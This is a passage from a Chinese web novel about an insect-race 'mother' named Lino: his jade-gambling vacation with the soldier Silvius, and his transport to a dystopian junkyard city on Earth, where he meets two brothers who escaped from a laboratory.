希尔维乌斯是军校培养出来最合格的虫族士兵，他的身上有着士兵应该拥有的一切优良品质，说的少做的多，严谨负责，以及雷厉风行的行事手段和足以压下手下士兵的武力值。 但他也有不擅长的方面，那就是取悦新生的虫母，引诱漂亮的蝴蝶为自己停留。 希尔维乌斯的尾钩上栖息着星空中独一无二的蝴蝶，收起所有尖锐的尾钩环住虫族最为珍贵没有之一的瑰宝。 这是很令虫满足的时刻，又有那只虫不想成为虫母冕下栖息的那棵树？ 然而，希尔维乌斯沉沉望着触须一动一动又一动的小蝴蝶，最终还是用可以活动的尾钩顶端伸展到蝴蝶的翅膀上。 没有了利刃的尾钩顶端很平滑，闪烁着冷芒，它分泌出骷翼蛾的味道，在不惊扰利诺睡觉的前提下，将其蹭在那轻薄漂亮的透明蝶翼上。 小蝴蝶身上残留着另一只高级虫族充满独占欲的味道，希尔维乌斯很不喜欢，他要用自己的味道覆盖。 利诺盘踞在虫族尾钩睡觉，会陷入最安稳的睡眠，而这个时间段，也便于希尔维乌斯满足私欲。 蝴蝶的磷粉是利诺本身的防卫武器之一，但除非利诺真对某只虫族动了杀意，磷粉才会伤害到这只虫族。 不然，从小蝴蝶的翅膀携带的磷粉只会是虫族尾钩的一点装饰品。 希尔维乌斯的指腹带下一些闪烁着光泽的鳞粉，抿抿唇，握在手心。 一夜好眠。 在彻底解决了这片迷雾，并将其中的经历和异样记录下来发回给科研院进行分析和录入资料，利诺和希尔维乌斯继续踏上了未完的度假之旅。 希尔维乌斯有很多个无主的星球，其中一多半都没有完全开发，毕竟虫族数量有限，就算让装载虫族意识到机器进行开发，也需要进行预约和排队。 没有办法，谁让虫族足足有四个大星系和数不清的星球，虫族只会优先选取资源丰富的星球进行开发。 希尔维乌斯的玉石星球连名字都没有，只用略带敷衍的R-4688进行指代，R指的是拉圣腓星系，4688指的是是虫族在拉圣腓星系找到的第四千六百十八十八颗星球。 原本R-4688是个荒凉到只有玉石的星球，仅有几台未输入虫族意识的战争机器驻守，玉石这种东西在虫族眼里就是垃圾，和珍珠、钻石那种石头一样，根本不如能源石有价值。 在新生的小虫母喜欢珠宝这事传出去后，这种星球就立马受起虫族的欢迎，多少军部的士兵在驱散迷雾时都在祈祷星球上最好盛产冕下喜欢的钻石珍珠，他们好把这些东西献给冕下。 利诺答应和希尔维乌斯一起去玉石星挖玉时，这座荒凉的星球立马迎来大量后勤虫族和机器进行改造。 总之，利诺完全没有意识到如今相对繁荣舒适的星球会是之前那个连个生命都没有的荒芜之地。 “冕下冕下！要来开块石头吗？”一台小小的服务机器兴冲冲跑过来，机器臂内有好几块石头。 希尔维乌斯道：“古籍中记载，在迷雾来临之前，赌石是一项很受欢迎的娱乐方式，开出的玉材质越好，说明运气越好。冕下要不要试一试自己能不能开出好的玉石？” 原文明种族可真会玩，连石头都能玩出花样！利诺立马被勾起了兴趣，他兴致冲冲地被机器拉着去摆好的石头区挑选石头，不忘问道：“什么样的材质是好的？” 原谅他，他上辈子和这辈子加起来接触最多的就是训练和战斗，前辈子只会在某些被丧尸占据的城市商铺内找些链条戒指把玩，而这辈子虫族能当成货物交易的石头只有能源石。 这一问，现场陷入冷凝，冕下问他们，他们也不知道啊！ 赌石还是现存古籍三言两语带过的，他们虫族哪里知道玉石的分类，玉石看起来除了颜色不一样，其他的不都一个样吗？ “希尔维乌斯阁下，您说说玉石的品质？”被难到的其他虫族把压力给了军衔最高的希尔维乌斯。 希尔维乌斯：“……” 他的知识库里只有格斗和军务。 希尔维乌斯沉默数秒，在小蝴蝶亮晶晶的期盼下干巴道：“冕下喜欢的就是最好的。” 行吧，利诺略带几分失望回头，蹲在地上选石头，他就知道，他们虫族都是大老粗，除了打架就是打架，哪里有人家蓝星的原文明种族会玩！ 赌石不能靠透视仪扫描，就是单凭肉眼和感觉，利诺先试水，挑出来两块小的，三块大的，其中有一块是颗两吨重的石头。 希尔维乌斯在利诺的怂恿下，勉强参与，只挑出一块圆润的灰石块，只有巴掌大。 利诺好久没有这么放松过，他脸上的笑意明媚到可以驱散最浓重的黑雾，没有什么可以比拟虫族心目中的利诺，那是他们最最最璀璨的冕下和妈妈。 虫母纯粹的快乐带动四周的虫族和机器也放松很多，纷纷也挑选自己看中的原石。 “咔嚓——”一只带着单边眼镜的清秀虫族对着利诺的身影拍下好几张照片。 这种堪称僭越和冒犯是行为不仅没有惹来其他虫族的不满，甚至利诺看到了那复杂精密的镜头，还对着露出尖尖的犬牙，比了个剪刀手。 尽管知道冕下是在配合他拍照，但清秀的低等虫族还是红了脸，抓相机的手险些拿不稳。 他小声夸道：“冕下您拍的照片很好看，虽然不及您本人的半分风采。” 清秀虫族来自帝国正式建立后军部新增的情报部门，该部门不仅负责在官网发布每日新闻供全部虫族了解，起着团结所有虫族的作用，也负责拍摄虫母冕下的日常照片，上传冕下的官方账号，安抚虫族，并最大限度地激发虫族的主动性。 没有一只虫族不会在看了冕下的照片后会无动于衷，他们的意识海会更加稳定，也会更加积极认真地执行各自的工作。 先不说这两张照片在星网上惹出了多大的沸腾，利诺在配合拍完照后，就捧着那两块小石头，身后三个机器人举起另外三块巨石，走到开石的场地。 在某名叫拉斐尔的参谋建议下，虫族全面复刻了这项活动，甚至像模像样地设立专门开石的巨大场地，里面还有几台机器。 当然，这里的机器并不是已经灭绝的原文明种族开石的器具，那种开石器具并没有记载在古籍上，根本无从考据，因此几台装载虫族意识的挖掘机器临时充当开石工。 “冕下，要先开哪个？” 利诺指着最大的，信心满满：“先来这个！”他觉得这里面一定是最大的一块玉。 “遵命！”智能机器捧来这块巨石，没有像往常挖掘矿石那样直接切割，而是抽出一个打磨皮，慢慢地顺着石头的表面磨。 这种方法很耗时，然而智能机器到底不算是真正的生物，他的速度很快，打磨的机械臂全是残影。 一吨的大石头很快被层层磨掉，地面全是石头的粉末，堆成了小山。 随着石头越磨越小，利诺从一开始的自信到后面的失望，白粉呆毛都丧气地垂下。 利诺在石头仅剩一个小薄面的时候闭上眼：“算辽算辽，不要磨了，这就是个石头。” 出师未捷身先死！利诺最耗费时间挑选的石头居然就是块完全的石头。 有什么似乎弯了……哦，原来是他利诺的脊梁骨啊！ 希尔维乌斯凌厉地看向负责石块的虫族，怎么回事，不是说好挑石场的原石都务必有玉石的吗？ 虫族满头大汗，无声解释，他是全都专门扫描了一遍啊，确认所有石头内都是有玉的，但耐不住冕下慧眼如炬，把用来压路的真石头当成原石，并且双眼放光…… 那么漂亮高兴的冕下对他说这个石头是不是一定有玉石，他能说个“不”让冕下失望吗？ 他根本说不出口啊！只能傻乎乎地点头肯定！ 但这虫族也不是傻子，他早就有了应对的策略，给磨石的机器使了个眼色，一块和打磨过的石板如出一辙的石板在悄无声息中被替换。 他顶着希尔维乌斯的死亡射线，硬着头皮鼓励小虫母：“冕下，万一那剩下的石板就有玉呢？要不要再磨一磨？” 利诺叹气，伸出小拇指：“好吧，那就再试这么一丢丢！” 这块替换后的石板在打磨皮稍微一蹭，紫到发黑的玉完全显露。 “冕下，您看，我就知道您没看走眼！”虫族捧场地鼓掌，让垂头丧气的小蝴蝶重新找回自信。 银灰色的大眼睛亮晶晶的，专注盯着机器的动作。 那块石板表层的石皮打磨掉，是足够一米长、半米厚的黑紫色玉板，在虫造恒星的光芒下闪烁着纯净的光华。 希尔维乌斯没过多关注那块玉，而是扭头，稍微低头就可以看到青年亮亮的眼睛，平直的嘴角上扬。 第47章 利诺剩下的石头毫无疑问全都有各色玉石，他对开石没有经验，不知道好玉从石头中被开出来的概率有多少，没有意识到这些石头都是虫族后勤兵提前用仪器扫描出来的，只以为自己慧眼如炬。 他翘着下巴，眉眼弯弯，让护卫把或大或小的玉石放在一辆小拉车上，自己也往口袋里塞了几颗小的，准备一会儿拉回去慢慢盘。 “希尔维乌斯，要不要顺手把你那颗也开了。”利诺问身边的虫族。 顺着利诺的话，希尔维乌斯将手心那颗小黑石头就要扔给空闲的一台机器。 利诺制止：“等等，我可以试一试吗？” 希尔维乌斯微微皱眉：“冕下，打磨皮很粗糙，会硌痛您的手。” 利诺张开双手，白嫩嫩，没有一点老茧，这是看起来是一双保养极好、没有干过苦事的手。 他叹气：“希尔维乌斯，你不知道，我的手已经身经百战了……区区打磨皮。”还不如那什么糙…… 他连那玩意都能磨，更何况用一层薄薄的打磨皮去打磨石块？ 而且不止他的手，他的脚也脏了……虫族全都是变太！ 利诺说的隐晦，没有相关经验的希尔维乌斯根本联想不到亲密的事情上，而是以为利诺说的是他一直在保持的体能训练。 确实，冕下已经说过很多次，不用把他当成易碎的瓷器。 他们的冕下并不如他们想象中的那般脆弱，反而，小虫母坚韧、聪明，在初次进入迷雾之门的时候就发挥了重要的作用。 希尔维乌斯见过利诺杀怪物的模样，利落干脆，头身分离中鲜血喷溅，是极致的暴力美学，漂亮柔弱的身躯仿佛隐藏着巨大的力量，让虫着迷。 只是，尽管虫族知道虫母的强大，却也会在各种事情上将妈妈保护在怀里，不愿让他受到外界的伤害。 希尔维乌斯让步：“冕下要慢慢来，如果疼就叫我。” “放心吧！”算是第一次度假的利诺对一切都充满兴趣，什么都想上手尝试。 打磨机器为小虫母翻找出最柔软的一块打磨皮，小心翼翼地双手奉上。 利诺朝机器笑笑，把希尔维乌斯的石头放在平面上，沾了点特殊材质的药水，用打磨皮擦拭。 相较于利诺那些需要打磨很久才可以见到玉的石头，希尔维乌斯随手挑出来的石块仅仅在利诺擦了两下后，一抹殷红便若隐若现。 “红色的？”专心致志的利诺率先注意到这点不同，当即顺着红色的四周继续来回擦。 血一样红的颜色越扩越大，利诺打磨的速度渐渐慢下来。 那红太奇怪了，不止利诺，就连其他兴奋围观的虫族也渐渐察觉到了不对劲。 是危险！ 虫族敏锐的感知提前给出了危险的预警！ “冕下，先停！”希尔维乌斯边说边抓起利诺的手移开。 利诺也早早就停了下来，奈何还是晚了。 一声清脆的裂开音响起，显出大半的红色瞬间破碎，一大团红雾涌出并包裹住了利诺和拉着利诺手的希尔维乌斯。 利诺被希尔维乌斯死死搂在怀里，后脑勺也被希尔维乌斯的一只手捂得严严实实，鼻腔内全是雄虫的的气息。 不知道红色的雾气是什么，利诺和希尔维乌斯同时屏蔽了呼吸，全身的状态调整到极致。 利诺眼前发黑，按理说他不应该会有这种情况，就算屏息半个小时也不会有什么事，然而此刻，利诺却是陷入彻底的昏迷…… “啊……是个小美人，还没有染病……应该会卖不少钱吧……” 腐烂恶臭的气味随着嘶哑的话语打在了利诺姣好的面孔上。 从昏迷中苏醒的利诺感受到来者全然的恶意，眼睛还未睁开，藏在胳膊上的短刀顺着手腕的用力滑到手心，往前一刺。 利诺的眼睛睁开，银灰色的竖瞳闪出与他的外表截然不同的冷漠，短刀刺破男人的下巴，一直深入脖子上的发声器官和大动脉。 “嗬嗬——”男人睁大眼睛，带着全然的不敢置信，气管被血液堵住发不出任何求救的声音，只能捂着不断出血的脖子，瞳孔扩散。 利诺低头看自己的空间钮和腕表，都不能用了，好像坏了一样，任凭利诺怎么敲都得不到回应。 “又来了个什么鬼地方？”利诺甩干染血的短刃，他在度假，身上不像往日那样带着少说三四把刀，再加上空间钮不能用，他目前赖以傍身的就只有只跟断刃。 他环视四周，入目的是成山群的垃圾，一座挨着一座，臭气熏天，苍蝇乱飞。 很显然，利诺被红雾带到了另外一个地方，或者有可能是另外一个时空？ 利诺不确定，他叹气，要是虫族有信仰，他高低要拜一拜，除除晦气。 他怎么总是遇到这种事？先是他上学的英玛星被黑雾入侵，然后去蓝星的路上关了个门，生完蛋度个假又遇到需要角色扮演的奇怪大门，现在开个石头都能遇到这种奇怪事。 利诺盯着不流血、只需要甩一甩就能干净的利刃，眯眼深沉：“我不会被做局了吧！” 比如类似萨亚约那种自称神明的存在？不知道因为什么在算计他？ 想不出个头绪，利诺低下头，看到被他杀了的生物，很像人……不，这似乎就是人类？ 利诺蹲下来用刀尖给地上的尸体翻了个面，高鼻梁、金头发，典型的西方长相。 只是这人的皮肤上全是伤口和黑污，散发出和垃圾堆一样腐败变质后的恶臭。 而且他昏迷时，听到这人说的不是星际通用语，而是英语？ 上辈子利诺的基地就有不少的西方人，利诺不止会汉语，也会一点英语，和那些西方幸存者对话基本汉英交杂。 垃圾纸袋外的字迹有英语也有汉语，还有许多利诺不认识的文字。 利诺脑子有点发愣，他这是……来到了地球？他上辈子生活的地方？ 他收起短刃，按着天边太阳的方向往外走，这是个巨大的垃圾场，好在利诺属于虫族的身份没有变，他有翅膀。 晃晃悠悠地飞起来，在房屋聚集的不远处又停下来，眨眨眼，非人的竖瞳变成圆润的瞳孔，除了瞳色和发色显眼，丝毫看不出利诺此时并非人类。 他的衣服也是休闲挂的，质料细腻，和地球人类的风格不一样，却也不至于一眼就能看出差别。 实际上，虫族现在的文明有大多包含古蓝星已灭亡种族的文明，而那个原文明种族和利诺已知的人类文明没有多大差别。 在踏入地球前，利诺一直觉得那个已经灭亡的种族就是人类，但现在看到的却打翻了他的推测。 垃圾山旁的居住区环境算不得好，居民们的精神状态不佳，眼眶深陷，劳累和对生活的压力压垮他们的腰，将翻出的一些有价值的垃圾带回来卖，就连年幼的孩子也是这般，死气沉沉。 利诺更加确定，这些都是人类，而且他们偶尔交流说的语言是汉语、英语以及利诺不知道的语言混杂成的新语言，他可以听懂大部分。 “那是哪家的小少爷，居然来到咱们这里？是为了好玩吗？”老人拽着老伴小声嘀咕。 老伴老花眼，瞅着利诺好半天才慢悠悠地问：“可能是来咱们这的新住户。” 老人摇头：“肯定不是！看那头发和瞳色，我记得一些城中的年轻人就喜欢做这种手术，而且长得这么好看，整容手术肯定也是花了大价钱，还有衣料，咳咳咳，估计是来探险的小少爷……” 老人捂着嘴发出剧烈的咳嗽，老伴扶住他：“今天吃药了吗？再忍忍，等攒够钱就换个电子肺……之前老格利不是说有淘汰下来的二手电子肺，实在不行，我们可以再打听下……” “哼，格利那小子是个贪财的，肯定要价很高。要是便宜，估计那电子肺也不是什么好东西。”老人摇头。 他们的声音很小，但利诺可以清楚地听到，他摸了摸自己的头发，他可是天生的白毛！ 这时，一个外表脏兮兮的小孩小跑过来，稚嫩的脸是与年龄极不符合的成熟：“少爷是来贫民窟探险吗？我知道几处不错的地点，只需要三个虚拟币。” 小孩比了个三，见利诺的神色迷茫，眼珠一转：“你没有虚拟币？是和你的同伴走散了？” 哪里来的小少爷，怕是家里富贵到连钱都没用过，要什么都会被送上来吧？ “我帮你找到你的同伴，只要事后你让你家支付给我五十个虚拟币就行。”小孩的食指和中指是被移植的金属手指，做动作的时候被利诺看在眼里。 利诺摇了摇头，他没有虚拟币支付给小孩，而小孩的话提醒了他。 他醒来后总觉得忘了什么，小孩的话让他想起来，他把希尔维乌斯这个好大蛾给忘到脑后了。 回到地球的事实太过震惊，以至于利诺只想首先确认这是不是真的地球，而忘记了和他一起卷入红色雾气的希尔维乌斯。 利诺动用意识海的精神力，星空上离他较近的星点只有希尔维乌斯一只。 其他的星点则远到天边，以利诺现在的精神力还没有多到可以支撑他联络几十个星系外的虫族大军。 【希尔维乌斯，你在哪里？】利诺顺利链接上希尔维乌斯，没听到雄虫的声音，先传到耳朵的是兵器碰撞的声音，还有凄厉空洞的嘶吼。 利诺没等太久，希尔维乌斯回复：【冕下，我落入到来一群腐烂怪物的中间，现在正在解决，您有什么吩咐？】 利诺将自己的大致方位告诉他，说道：【我在这里等你，你小心别留下伤口。】 他不确定那是不是可以通过伤口传播病毒的丧尸，只能告知希尔维乌斯要警惕。 和希尔维乌斯联络上，利诺及时叫住即将离开的小孩：“你等等。” 他掏出一块随身携带的全黑玉石：“这个能不能在你家住一晚上？” 第48章 面上失望的小孩立刻转过身，在看到利诺手中那块墨玉的时候双眼放光，问：“这是玉？天然玉石？” 利诺嗯了声：“可以用这个在你们家住一晚上吗？” “当然可以。”小孩连连点头，“跟我来。” 这种天然的玉石或宝石，极其受城区富人的欢迎，尤其是利诺手中那块墨色的玉，小孩根本想象不到这得有多值钱，怕是把他和哥哥两个人卖到黑市的钱都买不下这墨玉的一点边角料。 小孩满脑子都是要走运了，发大财了，偶然遇到的一个小少爷不仅让他感到起码切，居然还能随手给出一块墨玉。 至于玉石是不是不值钱的人工合成品，小孩压根就没往这里想，要知道对于这些富豪，用人工合成物就是耻辱，只有穷人结婚时会买那些合成的首饰送给另一半。 小孩蹦蹦跳跳地在前面引路，利诺就跟在后面，时不时左右张望，一副对新鲜事物好奇的神情，脸蛋艳丽。 小孩无意往后扫了一眼，就像做贼般慌张转过头，这位小少爷长得太好看了，他见过几个从城市出来探险的少爷小姐，但打扮再精致，也远远不如身后的利诺。 他肯定很有钱！ 阳光艰难穿透层叠的垃圾山，撒在狭窄破旧、勉强被称作路的街道上，低矮的房屋林林散散地从垃圾堆内努力挤出来，废弃的金属板、塑料布和砖块随意搭建，就是一座相对奢侈的避风港。 利诺跟着小孩走过几个垃圾堆，几排装缀着各色假花、碎步的低矮房屋出现在眼前，金属板零散挂着五颜六色的彩灯，墙壁上有大大小小的涂鸦，色彩鲜艳。 小孩瞥了眼利诺，就开始介绍：“这里是垃圾城的销金窟，现在人不多，等晚上会很热闹。你要是想来的话，晚上我让我哥带你来。” “小少爷，要来这里玩玩吗？”有几个浓妆艳抹、穿着暴露的男女眼神火热地要来拉利诺。 这里难得能见到一个富家少爷，自然是要趁机多拿点虚拟币，扭着屁股的男人朝利诺飞了个媚眼：“玩什么都可以哦，只需要三百币。” “离他远点！”小孩凶狠地呲牙，硬是让围上来的几个人不由后退几步。 “哎你这小孩，和老子抢生意？”男人掐腰就要推小孩，利诺把小孩往后拉，没让小孩被推倒。 男人的同伴也反应过来，急忙拉住他，低声道：“你不要命了，这是那个杀神的弟弟。” 不等利诺听完，他被小孩反手拉离此地：“再走几分钟就到了。” 利诺沉默着不知道要说什么，末日幸存者基地里也有这类的分区，一些相对漂亮的男女会以此谋生，他当初要是不努力往上爬，以他的长相也会被卖到那里去供人亵玩。 想到不太好的事情，利诺看周围环境的兴趣没了，低头跟在小孩身后，任由他带路。 小孩误会了利诺的异常，以为他是因为自己打扰了他和那些男女而不高兴：“你要是想那个，晚上我让我哥带你来……但是我哥说，这种事很不好。” “……我不想！你别瞎想！”利诺赶紧拒绝，他对这种事没兴趣，上一次就被安瑟姆榨干了还没恢复呢！ 被雄虫取悦是很舒服，但他并不沉溺其中，利诺的大部分心思仍旧在如何扩大虫族、驱散更多的迷雾上面。 ……唔，还有孕育更多的子嗣。 “我家到了。”小孩在一间平房前停下，和利诺见到的其他建筑没有差别，几块大铁板和石块堆积成简易的房间。 小孩开门的时候，门架上的土块扑簌簌往下掉，利诺胆战心惊地往里走，总感觉这房子下一秒就会崩塌，把他和小孩压在里面。 “你想吃点什么？”小孩热情好客，打开一盏能源灯，照亮了微暗的房间，他搬来一把椅子给利诺坐。 利诺掠过那翘起来的铁条，坐在椅子上，客气问：“有什么食物？” “恩……合成粮，合成粮，和合成粮。”小孩翻了半天，最后把三包合成粮摆在桌上。 利诺凑近用鼻子闻了闻，味道一言难尽，比起虫族为节省时间喝的营养液还差。 这饭不吃也行，利诺推开，委婉拒绝：“谢谢，不用了，我还不饿。” 小孩耸耸肩，这些中心城的少爷估计平时都吃天然食品，肯定吃不惯便宜的合成粮，自己拆开一份咯嘣咯嘣嚼起来。 利诺从口袋里摸了摸，又有一颗圆润的淡绿色玉石摆在桌上，这是他从挑选的小石头中开出的第一块。 吃饭的小孩眼睛看直了：“你有多少天然玉石？” 利诺不答，也不害怕露财被杀，他有足够保护自己的能力。 他将这块绿玉交给小孩：“你和我讲下这里的情况，这是报酬。” 小孩咽了下口水，第一次碰触到在全息游戏中才见到过的玉石，原来真正的天然玉石会是这样的触感。 望了望在灯光下戴上一丝温柔的漂亮青年，小孩艰难道：“你知道，玉石有多值钱吗？光是这一块，就足以在中心城买下一栋公寓。” 利诺挑眉，他对这个世界的物价不是很清楚，但看着小孩的神色，也能猜出玉石的价值。 他摆出不食肉糜的少爷形象：“无所谓，我有很多，我只是想知道这里是哪里……我和……我表哥打赌出来探险，不小心迷了路。” “你被你朋友坑了吧！”小孩果断道，“现在的交通都有自动导航设置，我没听说过会迷路的。” 利诺适当茫然：“是吗？我不知道，我是第一次开车，之前都是司机。” 小孩如大人般摇头：“你那朋友肯定想害你！” “原来如此！他肯定是想贪图我daddy的钱，我是我daddy唯一的儿子，要是我没了，他就可以继承我daddy的全部资产了！”利诺气得不行，一拍桌子，对小孩道，“这里是哪里？有没有通讯工具，我要给我daddy打电话！” 利诺此时完全是个泡在蜜罐子里长大的单纯又娇纵的小少爷。 小孩正要开口，门“砰”得一声打开，一个高大的身影进来，替小孩回答：“这里是最边缘的垃圾城，你要是想联系你家人会很难。” 半张脸被改造成银白色机器的男人用冷冰冰的视线看向利诺，冷硬的态度不自觉软化：“这里是有罪者的放逐之地，与外界完全隔绝，没有任何通讯工具，除非你有可以证明你身份的ID。” 往常也有少爷小姐来这里探险，但都是带够了人手和设备，他们也有专门申请的ID卡，可以随意离开。 听到没通讯工具的利诺无形之中松了口气，继续撒谎：“我、我没办ID，我表哥说不用那个……” 不然他从哪里找他的daddy，让一百多岁的赫弥珞来吗？ 好像也不是不可以？要是放在人类社会，赫弥珞的年纪都可以当他曾祖父了……利诺的思绪被带到某种奇怪的角度上。 男人则看了看利诺，未被改造的半张脸不可见地抽动了下：“那现在只剩下一个办法。” “什么办法？”利诺问。 “等你家人察觉到你的失踪，上报部门，会有专门的搜寻设备来找你。”小孩的哥哥冷笑，“在他们眼中，权贵的命才是命。” 恩，这人很憎恨富人，利诺暗暗下了个判断，他丝毫不生气，而是充满兴趣地打量这人。 他从这人的身上，闻到了一丝丝虫族的味道，并不多，所以他才会差点察觉不到。 这种味道不是从哪里沾染的，而是基因里就有的，这人身上有虫族的基因……利诺掩下深思，维持娇纵小少爷的人设，装作不高兴地瞪了眼男人。 小孩打圆场：“哥，你看这个！小少爷说住一晚上，等他的同伴来找他，还会再给一块做报酬。” 他将玉石给男人看，男人拿在手心颠了颠，略有些惊讶：“纯天然玉石。” “当然。”利诺又炫耀似的掏出最开始给小孩看的墨玉，“我在你家住一晚上，等我同伴来，我就把这块也给你。” “不需要。”出乎利诺医疗的，男人收到绿色的玉石，“这颗就够了，你……你可以住到你想要离开的时候。” 看了眼桌上的合成粮，男人肉眼可见地嫌弃：“你别吃，我给你带点天然食物回来。” 他说完就重新拉开门，走了出去。 利诺和小孩对视，小孩的神色委屈：“我哥都没对我这么好过。” 他哥一直说真男人就要吃合成粮，谁会吃贵的要死还填不饱肚子的天然食物！ 利诺同情地摸了摸小孩的头：“应该是看在玉石的份上。” 但估计是男人的那点虫族基因作祟。 小孩愣住了，脸颊骤然变得通红：“小少爷，你、你好香！” 就算垃圾堆内空气不会好，但利诺摸到他脑袋的时候，小孩还是闻到了那种淡淡的香味。 利诺收回手，陷入沉思，这小孩的身上也有虫族的基因……但比起他哥哥的，基因并没有完全激发，因此他一直没有发现。 他刚才带了点精神力去感知小孩脑内的意识海，是完全封闭的，估计他哥哥也是，所以他同样没有感受到这两只半虫的精神力。 “你和你哥一直在这里生活吗？”利诺弯起唇，笑着问小孩。 “不是……”小孩到底是小孩，就算看起来很成熟，也抵抗不了漂亮青年的笑，他当即晕乎乎地说，“我和哥，一开始在实验室里……” “后来实验室发生了意外去，我们逃了出来。” 第49章 “只有你们逃出来了吗？”利诺装作无意地问。 “不知道，当时很乱，我记不清了……”小男孩皱眉，“我记得我的编号是4961，应该有很多和我、和哥一样的人吧……” 利诺接着引导，好奇道：“好厉害，我还没有见过实验室呢！要是我也能去那里玩一玩就好了。” “不行！”小孩连忙打断：“那里一点不好玩！” 利诺歪头：“怎么个不好玩呢？” 小孩想了很久，但他那个时候很小，到了现在只剩下一些零碎的画面，只记得望不到边的白和被按在手术台上时那些全身都被包裹在保护服下的人。 最清晰的大概就是，他哥拉着他跑时，他在冷静地想要不要拿他哥垫背，吸引追兵的目光，加大自己逃跑成功的可能性。 最后还是因为切实的血缘关系，他没有做出这种在人类看来非常没有道德的事。 不过这事，小孩可不想让小少爷知道，他对当初的想法没有一点愧疚，毕竟他知道，他哥也这样想过。 小孩最后摇了摇头，重复：“反正就是不好玩。” 小孩的状态肉眼可见变得低沉，利诺及时又摸了摸小孩的头，一点安抚的精神力随着指尖渗进：“好吧，那就是不好玩了。” 利诺在小孩这问不到多少信息，只知道小孩和他的哥很有可能是经过实验室的改造，所以才有了虫族的基因。 但是实验室的虫族基因又是从哪里来的？银灰色的眼眸在一瞬间变成竖瞳，又很快恢复成单纯无害的圆眼睛。 小孩这里行不通，利诺能打听到的就是小孩的哥。 利诺靠在椅子上，继续道：“你叫什么？你哥叫什么？来这里多久了？” 小孩一直被哥嘱咐不要和陌生人回答这些问题，但是……他抬头看着小少爷极其漂亮的面孔，小少爷应该不是陌生人！ 于是他根本没有任何隐藏，乖乖道：“我叫但扶林，我哥哥叫艾默里，我们来这里有五年了。” 小孩顿了顿，小心问：“我可以知道你的名字吗，小少爷？” “当然。”利诺不假思索，“不用喊我小少爷，喊我利诺就成！” “利诺……哥哥……”不知道为什么，但扶林的心脏不受控制地乱跳，好似知道了小少爷的名字、还能喊小少爷的名字是多么值得炫耀的事情。 今年不过十来岁的但扶林噔噔噔走开，过了几分钟又噔噔噔地跑回来，将一个纸箱子摆到利诺的面前：“利诺哥哥，你要玩这个吗？” 他宝贝地将类似头盔的的设备拿出来：“这是我攒钱买的游戏头盔，虽然是被淘汰的设备，但是不妨碍玩。” 利诺拿过来，在手中把玩了会儿，虫族也有类似的东西，但是要比这个更轻便，只是一个纽扣大小的设备，虫族将其配备在每个腕表中。 只是虫族不是为了玩全息游戏，而是为了在虚拟世界与随机生成的怪物进行对战，以此增强意识海和提高战斗力。 利诺在训练的时候也会使用，导致他一看到类似的设备就觉得身上疼，那些和他对打的虚拟怪并不会手下留情，攻击造成的疼痛又是一比一模拟的。 “不用啦，你玩就成。”利诺又还给了但扶林，摆出不是很感兴趣的样子。 简陋的铁门被推开，名唤艾默里的高大健硕的男人提着袋子走进来。 利诺注意到他拿袋子的手也类似机械的质感，现在的地球似乎很流行这种改造身体的方式。 在利诺跟着小孩过来的路上，他看到的每个人多多少少都会有机械改造的痕迹，四肢改造是最普遍的。 “吃吧。”艾默里也不知道自己是不是疯了，居然觉得一个小少爷会吃不惯合成粮，特意去买来价格高昂的天然食物。 他复杂地看了眼利诺，不清楚他何时变得这么好心。 不止他，就连年幼的但扶林都知道，他们这些从实验室里逃出来的试验品，是不存在感情的。 无情好战，是每一个试验品的标签，无论之前是什么样的人，在被注射奇怪的液体后，就完全变成了一只冷血怪物。 他能够好心抚养但扶林，也只是因为但扶林在血脉上是他的亲弟弟。 如果两人没有血缘关系，当初动乱逃走的时候，他不会把但扶林一起带走。 当然，但扶林也显然是这么想的，但凡艾默里不是但扶林的亲哥哥，那么当初逃走的时候，但扶林恐怕会把他当成肉盾，自己趁机离开。 他们是人，也早已不是人，他们是没有一点感情的怪物。 只是在见到利诺后，毫无波澜的情绪竟然起了一些起伏，就好似一颗珍贵的宝石在巧合中坠入进一片死水，从此死水有了波澜，因为那颗璀璨的宝石而欣悦流动。 利诺打开袋子，用塑料盒装着的居然是大米饭和几个小菜，小菜是现炒的，蔬菜居多，肉类较少，正冒着热气。 竟然是大米饭！ 大米饭！ 利诺双眼发光，在两双眼睛的注视下，他劈开一次性筷子，扒拉米饭，不带菜地送到嘴巴里，那种稻米特有的淡淡的清香被发达的味蕾感知。 顿时，艾默里和但扶林就看到金尊玉贵的小少爷开始吧嗒吧嗒掉着眼泪，可怜极了。 “……很难吃？”艾默里出声，眉毛狠狠皱起，打算把那个要了他许多虚拟币的奸商打个半死。 但扶林心疼死了：“利诺哥哥别吃了，我让我哥再去买其他的天然食物！” 利诺抹抹泪，嫩白的脸颊上挂着点泪痕：“不是，是我好久没有吃过大米了！” 虫族是没有大米这种食物的，毕竟蓝星是差点就被黑雾完全毁灭，很多农作物都彻底消失，而且那个原文明种族的食物更偏向西式，看虫族的西方名字就知道了，流传下来的食谱压根没有这种带着浓浓地域风格的食物。 上辈子在末世生存，利诺爱惜食物，不挑食，但两者对比，他还是更偏爱东方的食谱。 但扶林愣道：“你daddy不给你吃饭的吗？”不让亲儿子吃米饭，简直匪夷所思。 利诺比划：“都是肉排、奶酪、沙拉这些食物……” 艾默里明白了，不是小少爷父亲太苛刻，而是太有钱了，只会给儿子吃价格更高的天然食物。 在这里，用纯天然食物饲养的肉畜只会更贵，而且数量少，光靠钱都买不到，纵使艾默里掏空全部身家都买不到。 至于艾默里带回来的天然食物，只能算是天然食物里的低端品。 只是……小少爷似乎更喜欢吃他带来的食物？艾默里嘴唇动了动，看向吃得欢快的利诺。 小少爷比兄弟二人想象中要更容易养…… 利诺没有吃完，他想起但扶林有说艾默里都没有给他买过纯天然的食物。 已经当了妈（？）的利诺在最初的那股举动变淡后，划拉菜和米饭给幼崽。 “利诺哥哥……这是给我的？”但扶林瞪大眼睛。 利诺把为数不多的半合成肉都给了但扶林，神情认真：“小孩子要多吃点才会长高长壮。” 对于一切与虫族相关的存在，身为虫母的利诺总会有些隐隐的温柔和纵容。 只是不多。 最重要的原因是利诺已经吃够大鱼大肉了，他更想多吃点甜甜的大米粒！ 小蝴蝶叉腰，但这又怎么不算是一种对子嗣的爱呢！ 但扶林感动得一塌糊涂，默然的眼睛带上亮晶晶的色彩，死寂的幼态五官生动了不少。 没等他说什么，他血缘上的亲哥哥面无表情地坐下，将他挤到一边，不知从哪掏出一副碗筷，极其吝啬地将利诺分给的食物又拨出来一小点给但扶林，自己则占据了大部分食物。 “艾默里！”本就不浓的兄弟情因为艾默里这一系列的动作而所剩无几，但扶林的语气凶狠，甚至有了杀意。 然而但扶林太小了，这种杀意更像是小孩子在玩过家家，艾默里丝毫不在乎。 